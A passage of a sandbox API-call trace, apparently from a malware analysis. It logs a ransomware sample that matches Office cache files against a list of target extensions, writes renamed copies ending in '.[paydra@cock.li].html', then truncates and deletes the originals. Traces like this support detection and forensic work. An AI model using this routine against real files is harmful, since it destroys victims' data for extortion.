lpString2=".xml") returned -1 [0034.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.702] lstrlenW (lpString=".1cd") returned 4 [0034.702] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.702] lstrlenW (lpString=".jpg") returned 4 [0034.702] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.702] lstrlenW (lpString=".doc") returned 4 [0034.702] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.702] lstrlenW (lpString=".docx") returned 5 [0034.702] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.702] lstrlenW (lpString=".pdf") returned 4 [0034.702] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.702] lstrlenW (lpString=".xls") returned 4 [0034.702] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.702] lstrlenW (lpString=".xlsx") returned 5 [0034.702] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.702] lstrlenW (lpString=".ppt") returned 4 [0034.702] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.702] lstrlenW (lpString=".zip") returned 4 [0034.702] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.702] lstrlenW (lpString=".rar") returned 4 [0034.702] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.702] lstrlenW (lpString=".bz2") returned 4 [0034.702] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.702] lstrlenW (lpString=".7z") returned 3 [0034.703] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.703] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.703] lstrlenW (lpString=".dbf") returned 4 [0034.703] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.703] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.703] lstrlenW (lpString=".1cd") returned 4 [0034.703] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.703] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.703] lstrlenW (lpString=".jpg") returned 4 [0034.703] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.703] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.703] lstrlenW (lpString="Setup.xml") returned 9 [0034.703] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.704] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1988) returned 1 [0034.704] CloseHandle (hObject=0x184) returned 1 [0034.704] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.704] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.704] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.704] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.704] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.704] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0034.705] GetLastError () returned 0x0 [0034.705] ReadFile (in: hFile=0x184, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x7c4, lpOverlapped=0x0) returned 1 [0035.084] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0035.085] ReadFile (in: hFile=0x184, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0035.085] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.085] SetEndOfFile (hFile=0x1a0) returned 1 [0035.086] CloseHandle (hObject=0x1a0) returned 1 [0035.087] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.087] SetEndOfFile (hFile=0x184) returned 1 [0035.087] CloseHandle (hObject=0x184) returned 1 [0035.087] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0035.088] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.088] lstrlenW (lpString=".doc") returned 4 [0035.088] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.088] lstrlenW (lpString=".docx") returned 5 [0035.088] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.088] lstrlenW (lpString=".pdf") returned 4 [0035.088] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.088] lstrlenW (lpString=".xls") returned 4 [0035.088] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.088] lstrlenW (lpString=".xlsx") returned 5 [0035.088] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.088] lstrlenW (lpString=".ppt") returned 4 [0035.088] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.088] lstrlenW (lpString=".zip") returned 4 [0035.088] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.088] lstrlenW (lpString=".rar") returned 4 [0035.088] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.088] lstrlenW (lpString=".bz2") returned 4 [0035.088] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.088] lstrlenW (lpString=".7z") returned 3 [0035.088] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.089] lstrlenW (lpString=".dbf") returned 4 [0035.089] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.089] lstrlenW (lpString=".1cd") returned 4 [0035.089] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.089] lstrlenW (lpString=".jpg") returned 4 [0035.089] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.089] lstrlenW (lpString=".doc") returned 4 [0035.089] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.089] lstrlenW (lpString=".docx") returned 5 [0035.089] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.089] lstrlenW (lpString=".pdf") returned 4 [0035.089] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.089] lstrlenW (lpString=".xls") returned 4 [0035.089] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.089] lstrlenW (lpString=".xlsx") returned 5 [0035.089] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.089] lstrlenW (lpString=".ppt") returned 4 [0035.089] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.089] lstrlenW (lpString=".zip") returned 4 [0035.089] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.089] lstrlenW (lpString=".rar") returned 4 [0035.089] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.089] lstrlenW (lpString=".bz2") returned 4 [0035.089] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.089] lstrlenW (lpString=".7z") returned 3 [0035.089] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.089] lstrlenW (lpString=".dbf") returned 4 [0035.090] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.090] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.090] lstrlenW (lpString=".1cd") returned 4 [0035.090] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.090] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.090] lstrlenW (lpString=".jpg") returned 4 [0035.090] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.090] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.090] lstrlenW (lpString="OfficeMUISet.xml") returned 16 [0035.090] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0035.090] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=819) returned 1 [0035.090] CloseHandle (hObject=0x184) returned 1 [0035.090] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 0x2020 [0035.090] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0035.090] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0035.091] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.091] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.091] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0035.091] GetLastError () returned 0x0 [0035.091] ReadFile (in: hFile=0x184, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x333, lpOverlapped=0x0) returned 1 [0035.108] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x340, lpOverlapped=0x0) returned 1 [0035.109] ReadFile (in: hFile=0x184, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0035.109] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0035.109] SetEndOfFile (hFile=0x1a0) returned 1 [0035.151] CloseHandle (hObject=0x1a0) returned 1 [0035.152] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.152] SetEndOfFile (hFile=0x184) returned 1 [0035.153] CloseHandle (hObject=0x184) returned 1 [0035.153] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0035.153] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 1 [0035.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.154] lstrlenW (lpString=".doc") returned 4 [0035.154] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.154] lstrlenW (lpString=".docx") returned 5 [0035.154] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0035.154] lstrlenW (lpString=".pdf") returned 4 [0035.154] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.154] lstrlenW (lpString=".xls") returned 4 [0035.154] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.154] lstrlenW (lpString=".xlsx") returned 5 [0035.154] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0035.154] lstrlenW (lpString=".ppt") returned 4 [0035.154] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.154] lstrlenW (lpString=".zip") returned 4 [0035.154] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.154] lstrlenW (lpString=".rar") returned 4 [0035.154] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.154] lstrlenW (lpString=".bz2") returned 4 [0035.154] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.154] lstrlenW (lpString=".7z") returned 3 [0035.154] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.154] lstrlenW (lpString=".dbf") returned 4 [0035.154] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.154] lstrlenW (lpString=".1cd") returned 4 [0035.154] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.155] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.155] lstrlenW (lpString=".jpg") returned 4 [0035.155] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.155] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.155] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.155] lstrlenW (lpString=".doc") returned 4 [0035.155] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.155] lstrlenW (lpString=".docx") returned 5 [0035.155] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0035.155] lstrlenW (lpString=".pdf") returned 4 [0035.155] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.155] lstrlenW (lpString=".xls") returned 4 [0035.155] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.155] lstrlenW (lpString=".xlsx") returned 5 [0035.155] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0035.155] lstrlenW (lpString=".ppt") returned 4 [0035.155] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.155] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.155] lstrlenW (lpString=".zip") returned 4 [0035.155] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.155] lstrlenW (lpString=".rar") returned 4 [0035.155] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.155] lstrlenW (lpString=".bz2") returned 4 [0035.155] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.155] lstrlenW (lpString=".7z") returned 3 [0035.155] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.155] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.155] lstrlenW (lpString=".dbf") returned 4 [0035.155] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.155] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.155] lstrlenW (lpString=".1cd") returned 4 [0035.155] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.155] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.155] lstrlenW (lpString=".jpg") returned 4 [0035.156] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.156] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.156] lstrlenW (lpString="AccessMUI.xml") returned 13 [0035.156] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0035.173] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1349) returned 1 [0035.173] CloseHandle (hObject=0x1ac) returned 1 [0035.173] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 0x2020 [0035.173] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0035.173] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0035.174] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.174] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.174] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0035.174] GetLastError () returned 0x0 [0035.174] ReadFile (in: hFile=0x1ac, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x545, lpOverlapped=0x0) returned 1 [0035.211] WriteFile (in: hFile=0x190, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x550, lpOverlapped=0x0) returned 1 [0035.212] ReadFile (in: hFile=0x1ac, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0035.212] WriteFile (in: hFile=0x190, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0035.212] SetEndOfFile (hFile=0x190) returned 1 [0035.212] CloseHandle (hObject=0x190) returned 1 [0035.212] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.213] SetEndOfFile (hFile=0x1ac) returned 1 [0035.213] CloseHandle (hObject=0x1ac) returned 1 [0035.213] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0035.214] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 1 [0035.214] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.214] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.214] lstrlenW (lpString=".doc") returned 4 [0035.214] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.214] lstrlenW (lpString=".docx") returned 5 [0035.214] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.214] lstrlenW (lpString=".pdf") returned 4 [0035.214] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.214] lstrlenW (lpString=".xls") returned 4 [0035.214] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.214] lstrlenW (lpString=".xlsx") returned 5 [0035.214] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.214] lstrlenW (lpString=".ppt") returned 4 [0035.214] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.214] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.214] lstrlenW (lpString=".zip") returned 4 [0035.214] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.214] lstrlenW (lpString=".rar") returned 4 [0035.214] 